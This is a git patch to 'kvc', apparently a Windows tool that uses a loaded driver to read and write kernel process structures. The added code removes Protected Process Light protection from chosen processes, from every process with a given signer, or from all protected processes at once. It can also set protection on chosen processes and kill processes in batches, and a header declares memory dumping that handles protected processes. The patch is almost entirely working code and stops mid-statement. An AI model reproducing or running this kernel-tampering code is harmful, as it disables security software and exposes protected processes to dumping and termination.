From 3811f65d21d574396420678d99024bfc8496b523 Mon Sep 17 00:00:00 2001 From: wesmar Date: Fri, 3 Oct 2025 09:46:50 +0200 Subject: [PATCH] Aktualizacja: 2025-10-03 09:46:50 --- kvc/Controller.h | 12 + kvc/ControllerProcessOperations.cpp | 1881 ++++++++++++++------------- kvc/Kvc.cpp | 51 +- kvc/TrustedInstallerIntegrator.cpp | 1473 ++++++++++----------- 4 files changed, 1631 insertions(+), 1786 deletions(-) diff --git a/kvc/Controller.h b/kvc/Controller.h index 33d8d5e..4b092c6 100644 --- a/kvc/Controller.h +++ b/kvc/Controller.h @@ -119,6 +119,12 @@ public: bool UnprotectAllProcesses() noexcept; bool UnprotectMultipleProcesses(const std::vector& targets) noexcept; + bool ProtectMultipleProcesses(const std::vector& targets, + const std::wstring& protectionLevel, + const std::wstring& signerType) noexcept; + bool SetMultipleProcessesProtection(const std::vector& targets, + const std::wstring& protectionLevel, + const std::wstring& signerType) noexcept; bool KillMultipleProcesses(const std::vector& pids) noexcept; bool KillMultipleTargets(const std::vector& targets) noexcept; @@ -241,6 +247,12 @@ private: // Process pattern matching with regex support std::vector FindProcessesByName(const std::wstring& pattern) noexcept; bool IsPatternMatch(const std::wstring& processName, const std::wstring& pattern) noexcept; + + // Internal batch operation helpers + bool ProtectProcessInternal(DWORD pid, const std::wstring& protectionLevel, + const std::wstring& signerType, bool batchOperation) noexcept; + bool SetProcessProtectionInternal(DWORD pid, const std::wstring& protectionLevel, + const std::wstring& signerType, bool batchOperation) noexcept; // Memory dumping with comprehensive protection handling bool CreateMiniDump(DWORD pid, const std::wstring& outputPath) noexcept; diff --git a/kvc/ControllerProcessOperations.cpp b/kvc/ControllerProcessOperations.cpp index cd08cbc..332716b 100644 --- a/kvc/ControllerProcessOperations.cpp +++ b/kvc/ControllerProcessOperations.cpp @@ -32,14 +32,20 @@ that define these protections. #include #include +// Global flag to handle user interruption (e.g., Ctrl+C). extern volatile bool g_interrupted; -// ============================================================================ -// SESSION MANAGEMENT IMPLEMENTATION -// ============================================================================ +/*************************************************************************************************/ +/* SESSION AND CACHE MANAGEMENT */ +/*************************************************************************************************/ +/** + * @brief Begins a driver session, loading the driver if necessary. + * Manages a short-lived session to avoid repeatedly loading/unloading the driver for quick operations. + * @return true if the driver session is active and ready, false otherwise. + */ bool Controller::BeginDriverSession() { - // If driver is already active and used recently, keep it active + // If a session is already active, extend its lifetime. if (m_driverSessionActive) { auto timeSinceLastUse = std::chrono::steady_clock::now() - m_lastDriverUsage; if (timeSinceLastUse < std::chrono::seconds(5)) { @@ -49,7 +55,7 @@ bool Controller::BeginDriverSession() { } } - // Initialize driver component + // Initialize the driver component. if (!EnsureDriverAvailable()) { ERROR(L"Failed to load driver for session"); return false; @@ -61,19 +67,21 @@ bool Controller::BeginDriverSession() { return true; } +/** + * @brief Ends the current driver session, performing cleanup. + * @param force If true, the session is terminated immediately. If false, it may be kept alive briefly for potential reuse. + */ void Controller::EndDriverSession(bool force) { if (!m_driverSessionActive) return; - // Don't end session immediately if not forced - keep it alive for potential reuse if (!force) { auto timeSinceLastUse = std::chrono::steady_clock::now() - m_lastDriverUsage; if (timeSinceLastUse < std::chrono::seconds(10)) { DEBUG(L"Keeping driver session active for potential reuse"); - return; // Keep session alive + return; // Keep session alive for a bit longer. } } - // Force cleanup DEBUG(L"Ending driver session (force: %s)", force ? L"true" : L"false"); PerformAtomicCleanup(); m_driverSessionActive = false; @@ -81,14 +89,20 @@ void Controller::EndDriverSession(bool force) { m_cachedProcessList.clear(); } +/** + * @brief Updates the timestamp of the last driver usage to manage session lifetime. + */ void Controller::UpdateDriverUsageTimestamp() { m_lastDriverUsage = std::chrono::steady_clock::now(); } +/** + * @brief Refreshes the cache of process PIDs to kernel EPROCESS addresses. + */ void Controller::RefreshKernelAddressCache() { DEBUG(L"Refreshing kernel address cache"); - auto processes = GetProcessList(); m_kernelAddressCache.clear(); + auto processes = GetProcessList(); for (const auto& entry : processes) { m_kernelAddressCache[entry.Pid] = entry.KernelAddress; @@ -98,11 +112,14 @@ void Controller::RefreshKernelAddressCache() { DEBUG(L"Kernel address cache refreshed with %d entries", m_kernelAddressCache.size()); } +/** + * @brief Retrieves the cached kernel address for a given PID. Refreshes the cache if it's stale. + * @param pid The process ID. + * @return The cached kernel address, or std::nullopt if not found. + */ std::optional Controller::GetCachedKernelAddress(DWORD pid) { - // Refresh cache if it's older than 30 seconds or empty auto now = std::chrono::steady_clock::now(); - if (m_kernelAddressCache.empty() || - (now - m_cacheTimestamp) > std::chrono::seconds(30)) { + if (m_kernelAddressCache.empty() || (now - m_cacheTimestamp) > std::chrono::seconds(30)) { RefreshKernelAddressCache(); } @@ -112,7 +129,7 @@ std::optional Controller::GetCachedKernelAddress(DWORD pid) { return it->second; } - // PID not in cache, try to find it manually + // If not in cache, perform a manual search and add it. DEBUG(L"PID %d not in cache, searching manually", pid); auto processes = GetProcessList(); for (const auto& entry : processes) { @@ -127,66 +144,91 @@ std::optional Controller::GetCachedKernelAddress(DWORD pid) { return std::nullopt; } -// ============================================================================ -// PROCESS TERMINATION OPERATIONS -// ============================================================================ +/*************************************************************************************************/ +/* PUBLIC API: PROCESS TERMINATION */ +/*************************************************************************************************/ bool Controller::KillProcess(DWORD pid) noexcept { bool result = KillProcessInternal(pid, false); - EndDriverSession(true); // Force cleanup for single operations + EndDriverSession(true); // Force cleanup for single operations. return result; } +bool Controller::KillProcessByName(const std::wstring& processName) noexcept { + if (!BeginDriverSession()) return false; + + auto matches = FindProcessesByName(processName); + if (matches.empty()) { + ERROR(L"No process found matching pattern: %s", processName.c_str()); + EndDriverSession(true); + return false; + } + + DWORD successCount = 0; + DWORD totalCount = static_cast(matches.size()); + INFO(L"Found %d processes matching '%s'", totalCount, processName.c_str()); + + for (const auto& match : matches) { + if (g_interrupted) { + INFO(L"Process termination interrupted by user"); + break; + } + INFO(L"Attempting to terminate process: %s (PID %d)", match.ProcessName.c_str(), match.Pid); + if (KillProcessInternal(match.Pid, true)) { // Use batch flag as session is already open. + SUCCESS(L"Successfully terminated: %s (PID %d)", match.ProcessName.c_str(), match.Pid); + successCount++; + } else { + ERROR(L"Failed to terminate PID: %d", match.Pid); + } + } + + EndDriverSession(true); + INFO(L"Kill operation completed: %d/%d processes terminated", successCount, totalCount); + return successCount > 0; +} + bool Controller::KillMultipleProcesses(const std::vector& pids) noexcept { if (pids.empty()) { ERROR(L"No PIDs provided for batch operation"); return false; } - if (!BeginDriverSession()) { ERROR(L"Failed to start driver session for batch operation"); return false; } INFO(L"Starting batch kill operation for %d processes", pids.size()); - DWORD successCount = 0; + for (DWORD pid : pids) { + if (g_interrupted) { + INFO(L"Batch operation interrupted by user"); + break; + } INFO(L"Processing PID %d", pid); - if (KillProcessInternal(pid, true)) { successCount++; SUCCESS(L"Successfully terminated PID %d", pid); } else { ERROR(L"Failed to terminate PID %d", pid); } - - if (g_interrupted) { - INFO(L"Batch operation interrupted by user"); - break; - } } - EndDriverSession(true); // End session after batch operation + EndDriverSession(true); INFO(L"Batch operation completed: %d/%d processes terminated", successCount, pids.size()); - return successCount > 0; } bool Controller::KillMultipleTargets(const std::vector& targets) noexcept { if (targets.empty()) return false; - if (!BeginDriverSession()) return false; std::vector allPids; - for (const auto& target : targets) { if (Utils::IsNumeric(target)) { - auto pid = Utils::ParsePid(target); - if (pid) allPids.push_back(pid.value()); + if (auto pid = Utils::ParsePid(target)) allPids.push_back(pid.value()); } else { - auto matches = FindProcessesByName(target); - for (const auto& match : matches) { + for (const auto& match : FindProcessesByName(target)) { allPids.push_back(match.Pid); } } @@ -199,424 +241,540 @@ bool Controller::KillMultipleTargets(const std::vector& targets) n } INFO(L"Starting batch kill operation for %d resolved processes", allPids.size()); - DWORD successCount = 0; for (DWORD pid : allPids) { + if (g_interrupted) { + INFO(L"Batch operation interrupted by user"); + break; + } INFO(L"Processing PID %d", pid); - if (KillProcessInternal(pid, true)) { successCount++; SUCCESS(L"Successfully terminated PID %d", pid); } else { ERROR(L"Failed to terminate PID %d", pid); } - - if (g_interrupted) { - INFO(L"Batch operation interrupted by user"); - break; - } } - - // Always force cleanup for command-line operation - EndDriverSession(true); - INFO(L"Kill operation completed: %d/%d processes terminated", successCount, allPids.size()); - return successCount > 0; + + EndDriverSession(true); + INFO(L"Kill operation completed: %d/%d processes terminated", successCount, allPids.size()); + return successCount > 0; } -bool Controller::KillProcessInternal(DWORD pid, bool batchOperation) noexcept { - // Only start session if not batch operation (batch already started session) - if (!batchOperation && !BeginDriverSession()) { - ERROR(L"Failed to start driver session for PID %d", pid); +/*************************************************************************************************/ +/* PUBLIC API: PROCESS PROTECTION MANIPULATION */ +/*************************************************************************************************/ + +bool Controller::ProtectProcess(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept { + if (!BeginDriverSession()) { + EndDriverSession(true); return false; } - // Use cached kernel address if available auto kernelAddr = GetCachedKernelAddress(pid); if (!kernelAddr) { - ERROR(L"Failed to get kernel address for PID %d", pid); - if (!batchOperation) EndDriverSession(true); + EndDriverSession(true); return false; } - - // Get target process protection level for elevation - auto targetProtection = GetProcessProtection(kernelAddr.value()); - if (targetProtection && targetProtection.value() > 0) { - UCHAR targetLevel = Utils::GetProtectionLevel(targetProtection.value()); - UCHAR targetSigner = Utils::GetSignerType(targetProtection.value()); - - std::wstring levelStr = (targetLevel == static_cast(PS_PROTECTED_TYPE::Protected)) ? - L"PP" : L"PPL"; - - INFO(L"Target process has %s-%s protection, elevating current process", - levelStr.c_str(), - Utils::GetSignerTypeAsString(targetSigner)); - // Elevate current process protection to match or exceed target - UCHAR currentProcessProtection = Utils::GetProtection(targetLevel, targetSigner); - if (!SetCurrentProcessProtection(currentProcessProtection)) { - ERROR(L"Failed to elevate current process protection"); - // Continue anyway - might still work - } - } - - // Attempt standard process termination - HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pid); - if (!hProcess) { - DWORD error = GetLastError(); - ERROR(L"Failed to open process for termination (error: %d)", error); - - // Try with more privileges if available - hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); - if (!hProcess) { - ERROR(L"Failed to open process with extended privileges (error: %d)", GetLastError()); - return false; - } - } - - BOOL terminated = TerminateProcess(hProcess, 1); - DWORD terminationError = GetLastError(); - CloseHandle(hProcess); - - if (terminated) { - SUCCESS(L"Successfully terminated PID: %d", pid); - return true; - } else { - ERROR(L"Failed to terminate PID: %d (error: %d)", pid, terminationError); + if (auto prot = GetProcessProtection(kernelAddr.value()); prot && prot.value() > 0) { + ERROR(L"PID %d is already protected", pid); + EndDriverSession(true); return false; } + + auto level = Utils::GetProtectionLevelFromString(protectionLevel); + auto signer = Utils::GetSignerTypeFromString(signerType); + if (!level || !signer) { + ERROR(L"Invalid protection level or signer type"); + EndDriverSession(true); + return false; + } + + UCHAR newProtection = Utils::GetProtection(level.value(), signer.value()); + if (!SetProcessProtection(kernelAddr.value(), newProtection)) { + ERROR(L"Failed to protect PID %d", pid); + EndDriverSession(true); + return false; + } + + SUCCESS(L"Protected PID %d with %s-%s", pid, protectionLevel.c_str(), signerType.c_str()); + EndDriverSession(true); + return true; } -bool Controller::KillProcessByName(const std::wstring& processName) noexcept { +bool Controller::UnprotectProcess(DWORD pid) noexcept { if (!BeginDriverSession()) { + EndDriverSession(true); return false; } - auto matches = FindProcessesByName(processName); + auto kernelAddr = GetCachedKernelAddress(pid); + if (!kernelAddr) { + EndDriverSession(true); + return false; + } + + auto currentProtection = GetProcessProtection(kernelAddr.value()); + if (!currentProtection || currentProtection.value() == 0) { + ERROR(L"PID %d is not protected", pid); + EndDriverSession(true); + return false; + } + + if (!SetProcessProtection(kernelAddr.value(), 0)) { + ERROR(L"Failed to remove protection from PID %d", pid); + EndDriverSession(true); + return false; + } + + SUCCESS(L"Removed protection from PID %d", pid); + EndDriverSession(true); + return true; +} + +bool Controller::SetProcessProtection(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept { + if (!BeginDriverSession()) { + EndDriverSession(true); + return false; + } + + auto level = Utils::GetProtectionLevelFromString(protectionLevel); + auto signer = Utils::GetSignerTypeFromString(signerType); + if (!level || !signer) { + ERROR(L"Invalid protection level or signer type"); + EndDriverSession(true); + return false; + } + + auto kernelAddr = GetCachedKernelAddress(pid); + if (!kernelAddr) { + EndDriverSession(true); + return false; + } + + UCHAR newProtection = Utils::GetProtection(level.value(), signer.value()); + if (!SetProcessProtection(kernelAddr.value(), newProtection)) { + ERROR(L"Failed to set protection on PID %d", pid); + EndDriverSession(true); + return false; + } + + SUCCESS(L"Set protection %s-%s on PID %d", protectionLevel.c_str(), signerType.c_str(), pid); + EndDriverSession(true); + return true; +} + +bool Controller::ProtectProcessByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept { + auto match = ResolveNameWithoutDriver(processName); + return match ? ProtectProcess(match->Pid, protectionLevel, signerType) : false; +} + +bool Controller::UnprotectProcessByName(const std::wstring& processName) noexcept { + auto match = ResolveNameWithoutDriver(processName); + return match ? UnprotectProcess(match->Pid) : false; +} + +bool Controller::SetProcessProtectionByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept { + auto match = ResolveNameWithoutDriver(processName); + return match ? SetProcessProtection(match->Pid, protectionLevel, signerType) : false; +} + +/*************************************************************************************************/ +/* PUBLIC API: MASS PROTECTION OPERATIONS */ +/*************************************************************************************************/ + +bool Controller::UnprotectAllProcesses() noexcept { + if (!BeginDriverSession()) { + EndDriverSession(true); + return false; + } + + auto processes = GetProcessList(); + std::unordered_map> groupedProcesses; - if (matches.empty()) { - ERROR(L"No process found matching pattern: %s", processName.c_str()); + for (const auto& entry : processes) { + if (entry.ProtectionLevel > 0) { + groupedProcesses[Utils::GetSignerTypeAsString(entry.SignerType)].push_back(entry); + } + } + + if (groupedProcesses.empty()) { + INFO(L"No protected processes found"); EndDriverSession(true); return false; } - DWORD successCount = 0; - DWORD totalCount = static_cast(matches.size()); + INFO(L"Starting mass unprotection (%zu signer groups)", groupedProcesses.size()); + DWORD totalSuccess = 0; + DWORD totalProcessed = 0; - INFO(L"Found %d processes matching '%s'", totalCount, processName.c_str()); - - for (const auto& match : matches) { - INFO(L"Attempting to terminate process: %s (PID %d)", - match.ProcessName.c_str(), match.Pid); + for (const auto& [signerName, group] : groupedProcesses) { + if (g_interrupted) break; + INFO(L"Processing signer group: %s (%zu processes)", signerName.c_str(), group.size()); + m_sessionMgr.SaveUnprotectOperation(signerName, group); - // Use the internal kill method with batch operation flag - if (KillProcessInternal(match.Pid, true)) { - SUCCESS(L"Successfully terminated: %s (PID %d)", - match.ProcessName.c_str(), match.Pid); - successCount++; + for (const auto& entry : group) { + if (g_interrupted) break; + totalProcessed++; + if (SetProcessProtection(entry.KernelAddress, 0)) { + totalSuccess++; + SUCCESS(L"Removed protection from PID %d (%s)", entry.Pid, entry.ProcessName.c_str()); + } else { + ERROR(L"Failed to remove protection from PID %d (%s)", entry.Pid, entry.ProcessName.c_str()); + } + } + } + if (g_interrupted) { + INFO(L"Mass unprotection interrupted by user"); + } + + INFO(L"Mass unprotection completed: %d/%d processes successfully unprotected", totalSuccess, totalProcessed); + EndDriverSession(true); + return totalSuccess > 0; +} + +bool Controller::UnprotectMultipleProcesses(const std::vector& targets) noexcept { + if (targets.empty()) return false; + if (!BeginDriverSession()) { + EndDriverSession(true); + return false; + } + + DWORD successCount = 0; + DWORD totalCount = static_cast(targets.size()); + + for (const auto& target : targets) { + if (g_interrupted) break; + bool result = false; + if (Utils::IsNumeric(target)) { + try { + DWORD pid = std::stoul(target); + result = UnprotectProcess(pid); + } catch (...) { + ERROR(L"Invalid PID: %s", target.c_str()); + } } else { - ERROR(L"Failed to terminate PID: %d", match.Pid); + result = UnprotectProcessByName(target); + } + if (result) successCount++; + } + + INFO(L"Batch unprotection completed: %d/%d targets successfully processed", successCount, totalCount); + EndDriverSession(true); + return successCount == totalCount; +} + +/*************************************************************************************************/ +/* PUBLIC API: BATCH PROTECT OPERATIONS (MIXED PIDs AND NAMES) */ +/*************************************************************************************************/ + +bool Controller::ProtectMultipleProcesses(const std::vector& targets, + const std::wstring& protectionLevel, + const std::wstring& signerType) noexcept { + if (targets.empty()) { + ERROR(L"No targets provided for batch protect operation"); + return false; + } + + if (!BeginDriverSession()) { + EndDriverSession(true); + return false; + } + + // Validate protection parameters before processing + auto level = Utils::GetProtectionLevelFromString(protectionLevel); + auto signer = Utils::GetSignerTypeFromString(signerType); + if (!level || !signer) { + ERROR(L"Invalid protection level or signer type"); + EndDriverSession(true); + return false; + } + + // Resolve all targets (PIDs and process names) to PIDs + std::vector allPids; + for (const auto& target : targets) { + if (Utils::IsNumeric(target)) { + // Handle PID + if (auto pid = Utils::ParsePid(target)) { + allPids.push_back(pid.value()); + } + } else { + // Handle process name - find all matching processes + for (const auto& match : FindProcessesByName(target)) { + allPids.push_back(match.Pid); + } + } + } + + if (allPids.empty()) { + ERROR(L"No processes found matching the specified targets"); + EndDriverSession(true); + return false; + } + + INFO(L"Starting batch protect operation for %zu resolved processes", allPids.size()); + DWORD successCount = 0; + + for (DWORD pid : allPids) { + if (g_interrupted) { + INFO(L"Batch operation interrupted by user"); + break; } - if (g_interrupted) { - INFO(L"Process termination interrupted by user"); - break; + if (ProtectProcessInternal(pid, protectionLevel, signerType, true)) { + successCount++; } } EndDriverSession(true); - INFO(L"Kill operation completed: %d/%d processes terminated", successCount, totalCount); + INFO(L"Batch protect completed: %d/%zu processes", successCount, allPids.size()); return successCount > 0; } -// ============================================================================ -// KERNEL PROCESS OPERATIONS -// ============================================================================ - -std::optional Controller::GetInitialSystemProcessAddress() noexcept { - auto kernelBase = Utils::GetKernelBaseAddress(); - if (!kernelBase) return std::nullopt; - - auto offset = m_of->GetOffset(Offset::KernelPsInitialSystemProcess); - if (!offset) return std::nullopt; - - ULONG_PTR pPsInitialSystemProcess = Utils::GetKernelAddress(kernelBase.value(), offset.value()); - return m_rtc->ReadPtr(pPsInitialSystemProcess); -} - -std::optional Controller::GetProcessKernelAddress(DWORD pid) noexcept { - auto processes = GetProcessList(); - for (const auto& entry : processes) { - if (entry.Pid == pid) - return entry.KernelAddress; - } - - DEBUG(L"Kernel address not available for PID %d", pid); - return std::nullopt; -} - -std::vector Controller::GetProcessList() noexcept { - std::vector processes; - - if (g_interrupted) { - INFO(L"Process enumeration cancelled by user before start"); - return processes; - } - - auto initialProcess = GetInitialSystemProcessAddress(); - if (!initialProcess) return processes; - - auto uniqueIdOffset = m_of->GetOffset(Offset::ProcessUniqueProcessId); - auto linksOffset = m_of->GetOffset(Offset::ProcessActiveProcessLinks); - - if (!uniqueIdOffset || !linksOffset) return processes; - - ULONG_PTR current = initialProcess.value(); - DWORD processCount = 0; - - do { - if (g_interrupted) { - break; - } - - auto pidPtr = m_rtc->ReadPtr(current + uniqueIdOffset.value()); - - if (g_interrupted) { - break; - } - - auto protection = GetProcessProtection(current); - - std::optional signatureLevel = std::nullopt; - std::optional sectionSignatureLevel = std::nullopt; - - auto sigLevelOffset = m_of->GetOffset(Offset::ProcessSignatureLevel); - auto secSigLevelOffset = m_of->GetOffset(Offset::ProcessSectionSignatureLevel); - - if (g_interrupted) { - break; - } - - if (sigLevelOffset) - signatureLevel = m_rtc->Read8(current + sigLevelOffset.value()); - if (secSigLevelOffset) - sectionSignatureLevel = m_rtc->Read8(current + secSigLevelOffset.value()); - - if (pidPtr && protection) { - ULONG_PTR pidValue = pidPtr.value(); - - if (pidValue > 0 && pidValue <= MAXDWORD) { - ProcessEntry entry{}; - entry.KernelAddress = current; - entry.Pid = static_cast(pidValue); - entry.ProtectionLevel = Utils::GetProtectionLevel(protection.value()); - entry.SignerType = Utils::GetSignerType(protection.value()); - entry.SignatureLevel = signatureLevel.value_or(0); - entry.SectionSignatureLevel = sectionSignatureLevel.value_or(0); - - if (g_interrupted) { - break; - } - - std::wstring basicName = Utils::GetProcessName(entry.Pid); - - // Resolve unknown processes using enhanced detection - if (basicName == L"[Unknown]") { - entry.ProcessName = Utils::ResolveUnknownProcessLocal( - entry.Pid, - entry.KernelAddress, - entry.ProtectionLevel, - entry.SignerType - ); - } else { - entry.ProcessName = basicName; - } - - processes.push_back(entry); - processCount++; - } - } - - if (g_interrupted) { - break; - } - - auto nextPtr = m_rtc->ReadPtr(current + linksOffset.value()); - if (!nextPtr) break; - - current = nextPtr.value() - linksOffset.value(); - - // Safety limit to prevent infinite loops - if (processCount >= 10000) { - break; - } - - } while (current != initialProcess.value() && !g_interrupted); - - return processes; -} - -std::optional Controller::GetProcessProtection(ULONG_PTR addr) noexcept { - auto offset = m_of->GetOffset(Offset::ProcessProtection); - if (!offset) return std::nullopt; - - return m_rtc->Read8(addr + offset.value()); -} - -bool Controller::SetProcessProtection(ULONG_PTR addr, UCHAR protection) noexcept { - auto offset = m_of->GetOffset(Offset::ProcessProtection); - if (!offset) return false; - - return m_rtc->Write8(addr + offset.value(), protection); -} - -// ============================================================================ -// PROCESS NAME RESOLUTION -// ============================================================================ - -std::optional Controller::ResolveProcessName(const std::wstring& processName) noexcept { - if (!BeginDriverSession()) { - EndDriverSession(true); - return std::nullopt; - } - - auto matches = FindProcessesByName(processName); - - if (matches.empty()) { - ERROR(L"No process found matching pattern: %s", processName.c_str()); - EndDriverSession(true); // Force cleanup - return std::nullopt; - } - - if (matches.size() == 1) { - INFO(L"Found process: %s (PID %d)", matches[0].ProcessName.c_str(), matches[0].Pid); - EndDriverSession(true); // Force cleanup - return matches[0]; - } - - ERROR(L"Multiple processes found matching pattern '%s'. Please use a more specific name:", processName.c_str()); - for (const auto& match : matches) { - std::wcout << L" PID " << match.Pid << L": " << match.ProcessName << L"\n"; - } - - EndDriverSession(true); // Force cleanup - return std::nullopt; -} - -std::vector Controller::FindProcessesByName(const std::wstring& pattern) noexcept { - std::vector matches; - auto processes = GetProcessList(); - - for (const auto& entry : processes) { - if (IsPatternMatch(entry.ProcessName, pattern)) { - ProcessMatch match; - match.Pid = entry.Pid; - match.ProcessName = entry.ProcessName; - match.KernelAddress = entry.KernelAddress; - matches.push_back(match); - } - } - - return matches; -} - -// ============================================================================ -// DRIVER-FREE PROCESS OPERATIONS -// ============================================================================ - -std::optional Controller::ResolveNameWithoutDriver(const std::wstring& processName) noexcept { - auto matches = FindProcessesByNameWithoutDriver(processName); - - if (matches.empty()) { - ERROR(L"No process found matching pattern: %s", processName.c_str()); - return std::nullopt; - } - - if (matches.size() == 1) { - INFO(L"Found process: %s (PID %d)", matches[0].ProcessName.c_str(), matches[0].Pid); - return matches[0]; - } - - ERROR(L"Multiple processes found matching pattern '%s'. Please use a more specific name:", processName.c_str()); - for (const auto& match : matches) { - std::wcout << L" PID " << match.Pid << L": " << match.ProcessName << L"\n"; - } - - return std::nullopt; -} - -std::vector Controller::FindProcessesByNameWithoutDriver(const std::wstring& pattern) noexcept { - std::vector matches; - - HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); - if (hSnapshot == INVALID_HANDLE_VALUE) { - return matches; - } - - PROCESSENTRY32W pe; - pe.dwSize = sizeof(PROCESSENTRY32W); - - if (Process32FirstW(hSnapshot, &pe)) { - do { - std::wstring processName = pe.szExeFile; - - if (IsPatternMatch(processName, pattern)) { - ProcessMatch match; - match.Pid = pe.th32ProcessID; - match.ProcessName = processName; - match.KernelAddress = 0; // Not available without driver - matches.push_back(match); - } - } while (Process32NextW(hSnapshot, &pe)); - } - - CloseHandle(hSnapshot); - return matches; -} - -// ============================================================================ -// PATTERN MATCHING -// ============================================================================ - -bool Controller::IsPatternMatch(const std::wstring& processName, const std::wstring& pattern) noexcept { - std::wstring lowerProcessName = processName; - std::wstring lowerPattern = pattern; - - // Convert to lowercase for case-insensitive matching - std::transform(lowerProcessName.begin(), lowerProcessName.end(), lowerProcessName.begin(), ::towlower); - std::transform(lowerPattern.begin(), lowerPattern.end(), lowerPattern.begin(), ::towlower); - - // Exact match - if (lowerProcessName == lowerPattern) return true; - - // Substring match - if (lowerProcessName.find(lowerPattern) != std::wstring::npos) return true; - - // Wildcard pattern matching - std::wstring regexPattern = lowerPattern; - - // Escape special regex characters except * - std::wstring specialChars = L"\\^$.+{}[]|()"; - - for (auto& ch : regexPattern) { - if (specialChars.find(ch) != std::wstring::npos) { - regexPattern = std::regex_replace(regexPattern, std::wregex(std::wstring(1, ch)), L"\\" + std::wstring(1, ch)); - } - } - - // Convert * wildcards to regex .* - regexPattern = std::regex_replace(regexPattern, std::wregex(L"\\*"), L".*"); - - try { - std::wregex regex(regexPattern, std::regex_constants::icase); - return std::regex_search(lowerProcessName, regex); - } catch (const std::regex_error&) { +bool Controller::SetMultipleProcessesProtection(const std::vector& targets, + const std::wstring& protectionLevel, + const std::wstring& signerType) noexcept { + if (targets.empty()) { + ERROR(L"No targets provided for batch set operation"); return false; } + + if (!BeginDriverSession()) { + EndDriverSession(true); + return false; + } + + // Validate protection parameters + auto level = Utils::GetProtectionLevelFromString(protectionLevel); + auto signer = Utils::GetSignerTypeFromString(signerType); + if (!level || !signer) { + ERROR(L"Invalid protection level or signer type"); + EndDriverSession(true); + return false; + } + + // Resolve all targets to PIDs + std::vector allPids; + for (const auto& target : targets) { + if (Utils::IsNumeric(target)) { + if (auto pid = Utils::ParsePid(target)) { + allPids.push_back(pid.value()); + } + } else { + for (const auto& match : FindProcessesByName(target)) { + allPids.push_back(match.Pid); + } + } + } + + if (allPids.empty()) { + ERROR(L"No processes found matching the specified targets"); + EndDriverSession(true); + return false; + } + + INFO(L"Starting batch set operation for %zu resolved processes", allPids.size()); + DWORD successCount = 0; + + for (DWORD pid : allPids) { + if (g_interrupted) { + INFO(L"Batch operation interrupted by user"); + break; + } + + if (SetProcessProtectionInternal(pid, protectionLevel, signerType, true)) { + successCount++; + } + } + + EndDriverSession(true); + INFO(L"Batch set completed: %d/%zu processes", successCount, allPids.size()); + return successCount > 0; } -// ============================================================================ -// PROCESS INFORMATION OPERATIONS -// ============================================================================ +bool Controller::UnprotectBySigner(const std::wstring& signerName) noexcept { + auto signerType = Utils::GetSignerTypeFromString(signerName); + if (!signerType) { + ERROR(L"Invalid signer type: %s", signerName.c_str()); + return false; + } + + if (!BeginDriverSession()) { + EndDriverSession(true); + return false; + } + + auto processes = GetProcessList(); + std::vector affectedProcesses; + for (const auto& entry : processes) { + if (entry.ProtectionLevel > 0 && entry.SignerType == signerType.value()) { + affectedProcesses.push_back(entry); + } + } + + if (affectedProcesses.empty()) { + INFO(L"No protected processes found with signer: %s", signerName.c_str()); + EndDriverSession(true); + return false; + } + + INFO(L"Starting batch unprotection of processes signed by: %s", signerName.c_str()); + m_sessionMgr.SaveUnprotectOperation(signerName, affectedProcesses); + + DWORD successCount = 0; + for (const auto& entry : affectedProcesses) { + if (g_interrupted) { + INFO(L"Batch operation interrupted by user"); + break; + } + if (SetProcessProtection(entry.KernelAddress, 0)) { + successCount++; + SUCCESS(L"Removed protection from PID %d (%s)", entry.Pid, entry.ProcessName.c_str()); + } else { + ERROR(L"Failed to remove protection from PID %d (%s)", entry.Pid, entry.ProcessName.c_str()); + } + } + + INFO(L"Batch unprotection completed: %d/%d processes successfully unprotected", successCount, affectedProcesses.size()); + EndDriverSession(true); + return successCount > 0; +} + +/*************************************************************************************************/ +/* PUBLIC API: SESSION STATE RESTORATION */ +/*************************************************************************************************/ + +bool Controller::RestoreProtectionBySigner(const std::wstring& signerName) noexcept { + if (!BeginDriverSession()) { + EndDriverSession(true); + return false; + } + bool result = m_sessionMgr.RestoreBySigner(signerName, this); + EndDriverSession(true); + return result; +} + +bool Controller::RestoreAllProtection() noexcept { + if (!BeginDriverSession()) { + EndDriverSession(true); + return false; + } + bool result = m_sessionMgr.RestoreAll(this); + EndDriverSession(true); + return result; +} + +void Controller::ShowSessionHistory() noexcept { + m_sessionMgr.ShowHistory(); +} + +/*************************************************************************************************/ +/* PUBLIC API: PROCESS INFORMATION & LISTING */ +/*************************************************************************************************/ + +bool Controller::ListProtectedProcesses() noexcept { + if (!BeginDriverSession()) { + EndDriverSession(true); + return false; + } + + auto processes = GetProcessList(); + EndDriverSession(true); // End session now, display cached data. + + if (!Utils::EnableConsoleVirtualTerminal()) { + ERROR(L"Failed to enable console colors"); + } + + std::wcout << Utils::ProcessColors::GREEN + << L"\n -------+------------------------------+---------+-----------------+-----------------------+-----------------------+--------------------\n" + << Utils::ProcessColors::HEADER + << L" PID | Process Name | Level | Signer | EXE sig. level | DLL sig. level | Kernel addr. " + << Utils::ProcessColors::RESET << L"\n" + << Utils::ProcessColors::GREEN + << L" -------+------------------------------+---------+-----------------+-----------------------+-----------------------+--------------------\n"; + + DWORD count = 0; + for (const auto& entry : processes) { + if (entry.ProtectionLevel > 0) { + count++; + const wchar_t* color = Utils::GetProcessDisplayColor(entry.SignerType, entry.SignatureLevel, entry.SectionSignatureLevel); + + wchar_t buffer[512]; + swprintf_s(buffer, L" %6d | %-28s | %-3s (%d) | %-11s (%d) | %-14s (0x%02x) | %-14s (0x%02x) | 0x%016llx\n", + entry.Pid, + entry.ProcessName.length() > 28 ? (entry.ProcessName.substr(0, 25) + L"...").c_str() : entry.ProcessName.c_str(), + Utils::GetProtectionLevelAsString(entry.ProtectionLevel), entry.ProtectionLevel, + Utils::GetSignerTypeAsString(entry.SignerType), entry.SignerType, + Utils::GetSignatureLevelAsString(entry.SignatureLevel), entry.SignatureLevel, + Utils::GetSignatureLevelAsString(entry.SectionSignatureLevel), entry.SectionSignatureLevel, + entry.KernelAddress); + + std::wcout << color << buffer << Utils::ProcessColors::RESET; + } + } + + std::wcout << Utils::ProcessColors::GREEN + << L" 